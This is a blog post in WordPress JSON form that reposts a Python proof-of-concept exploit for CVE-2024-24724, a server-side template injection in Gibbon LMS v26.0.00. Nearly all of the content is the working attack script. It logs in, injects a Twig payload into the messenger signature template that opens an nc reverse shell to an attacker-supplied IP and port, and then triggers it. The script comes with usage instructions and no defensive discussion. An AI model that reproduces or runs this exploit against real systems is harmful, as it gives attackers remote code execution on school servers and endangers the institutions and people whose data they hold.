{"id":55766,"date":"2024-04-01T19:32:28","date_gmt":"2024-04-01T15:32:28","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177857\/Gibbon_SSTI_to_RCE_PoC.py.txt"},"modified":"2024-04-02T13:09:37","modified_gmt":"2024-04-02T08:39:37","slug":"gibbon-26-0-00-server-side-template-injection-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/gibbon-26-0-00-server-side-template-injection-remote-code-execution\/","title":{"rendered":"Gibbon 26.0.00 Server-Side Template Injection \/ Remote Code Execution"},"content":{"rendered":"<p># Exploit Title: Gibbon LMS has an SSTI vulnerability on the v26.0.00 version<br \/>\n# Date: 21.01.2024<br \/>\n# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)<br \/>\n# Vendor Homepage: https:\/\/gibbonedu.org\/<br \/>\n# Software Link: https:\/\/github.com\/GibbonEdu\/core<br \/>\n# Version: v26.0.00<br \/>\n# Tested on: Ubuntu 22.0<br \/>\n# CVE : CVE-2024-24724<br \/>\nimport requests<br \/>\nimport re<br \/>\nimport sys<\/p>\n<p>def login(target_host, target_port,email,password):<br \/>\nurl = f&#8217;http:\/\/{target_host}:{target_port}\/login.php?timeout=true&#8217;<br \/>\nheaders = {&#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;174475955731268836341556039466&#8243;}<br \/>\ndata = f&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466\\r\\nContent-Disposition: form-data; name=\\&#8221;address\\&#8221;\\r\\n\\r\\n\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466\\r\\nContent-Disposition: form-data; name=\\&#8221;method\\&#8221;\\r\\n\\r\\ndefault\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466\\r\\nContent-Disposition: form-data; name=\\&#8221;username\\&#8221;\\r\\n\\r\\n{email}\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466\\r\\nContent-Disposition: form-data; name=\\&#8221;password\\&#8221;\\r\\n\\r\\n{password}\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466\\r\\nContent-Disposition: form-data; name=\\&#8221;gibbonSchoolYearID\\&#8221;\\r\\n\\r\\n025\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466\\r\\nContent-Disposition: form-data; name=\\&#8221;gibboni18nID\\&#8221;\\r\\n\\r\\n0002\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;174475955731268836341556039466&#8211;\\r\\n&#8221;<br \/>\nr = requests.post(url, headers=headers, data=data, allow_redirects=False)<br \/>\nSession_Cookie = re.split(r&#8221;\\s+&#8221;, r.headers[&#8216;Set-Cookie&#8217;])<br \/>\nif Session_Cookie[4] is not None and &#8216;\/index.php&#8217; in str(r.headers[&#8216;Location&#8217;]):<br \/>\nprint(&#8220;login successful!&#8221;)<\/p>\n<p>return Session_Cookie[4]\n<p>def rce(cookie, target_host, target_port, attacker_ip, attacker_port):<br \/>\nurl = f&#8217;http:\/\/{target_host}:{target_port}\/modules\/School%20Admin\/messengerSettingsProcess.php&#8217;<br \/>\nheaders = {&#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;67142646631840027692410521651&#8221;, &#8220;Cookie&#8221;: cookie}<br \/>\ndata = f&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;67142646631840027692410521651\\r\\nContent-Disposition: form-data; name=\\&#8221;address\\&#8221;\\r\\n\\r\\n\/modules\/School Admin\/messengerSettings.php\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;67142646631840027692410521651\\r\\nContent-Disposition: form-data; name=\\&#8221;enableHomeScreenWidget\\&#8221;\\r\\n\\r\\nY\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;67142646631840027692410521651\\r\\nContent-Disposition: form-data; name=\\&#8221;signatureTemplate\\&#8221;\\r\\n\\r\\n{{{{[\\&#8217;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|sh -i 2&gt;&amp;1|nc {attacker_ip} {attacker_port} &gt;\/tmp\/f&#8217;]|filter(&#8216;system&#8217;)}}}}\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;67142646631840027692410521651\\r\\nContent-Disposition: form-data; name=\\&#8221;messageBcc\\&#8221;\\r\\n\\r\\n\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;67142646631840027692410521651\\r\\nContent-Disposition: form-data; name=\\&#8221;pinnedMessagesOnHome\\&#8221;\\r\\n\\r\\nN\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;67142646631840027692410521651&#8211;\\r\\n&#8221;<br \/>\nr = requests.post(url, headers=headers, data=data, allow_redirects=False)<br \/>\nif &#8216;success0&#8217; in str(r.headers[&#8216;Location&#8217;]):<br \/>\nprint(&#8220;Payload uploaded successfully!&#8221;)<\/p>\n<p>def trigger(cookie, target_host, target_port):<br \/>\nurl = f&#8217;http:\/\/{target_host}:{target_port}\/index.php?q=\/modules\/School%20Admin\/messengerSettings.php&amp;return=success0&#8242;<br \/>\nheaders = {&#8220;Cookie&#8221;: cookie}<br \/>\nprint(&#8220;RCE successful!&#8221;)<br \/>\nr = requests.get(url, headers=headers, allow_redirects=False)<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>\nif len(sys.argv) != 7:<br \/>\nprint(&#8220;Usage: script.py &lt;target_host&gt; &lt;target_port&gt; &lt;attacker_ip&gt; &lt;attacker_port&gt; &lt;email&gt; &lt;password&gt;&#8221;)<br \/>\nsys.exit(1)<br \/>\ncookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])<br \/>\nrce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])<br \/>\ntrigger(cookie, sys.argv[1], sys.argv[2])<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Gibbon LMS has an SSTI vulnerability on the v26.0.00 version # Date: 21.01.2024 # Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli) # Vendor Homepage: https:\/\/gibbonedu.org\/ # Software Link: https:\/\/github.com\/GibbonEdu\/core # Version: v26.0.00 # Tested on: Ubuntu 22.0 # CVE : CVE-2024-24724 import requests import re import sys def login(target_host, target_port,email,password): &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55766","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55766"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55766\/revisions"}],"predecessor-version":[{"id":55777,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55766\/revisions\/55777"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}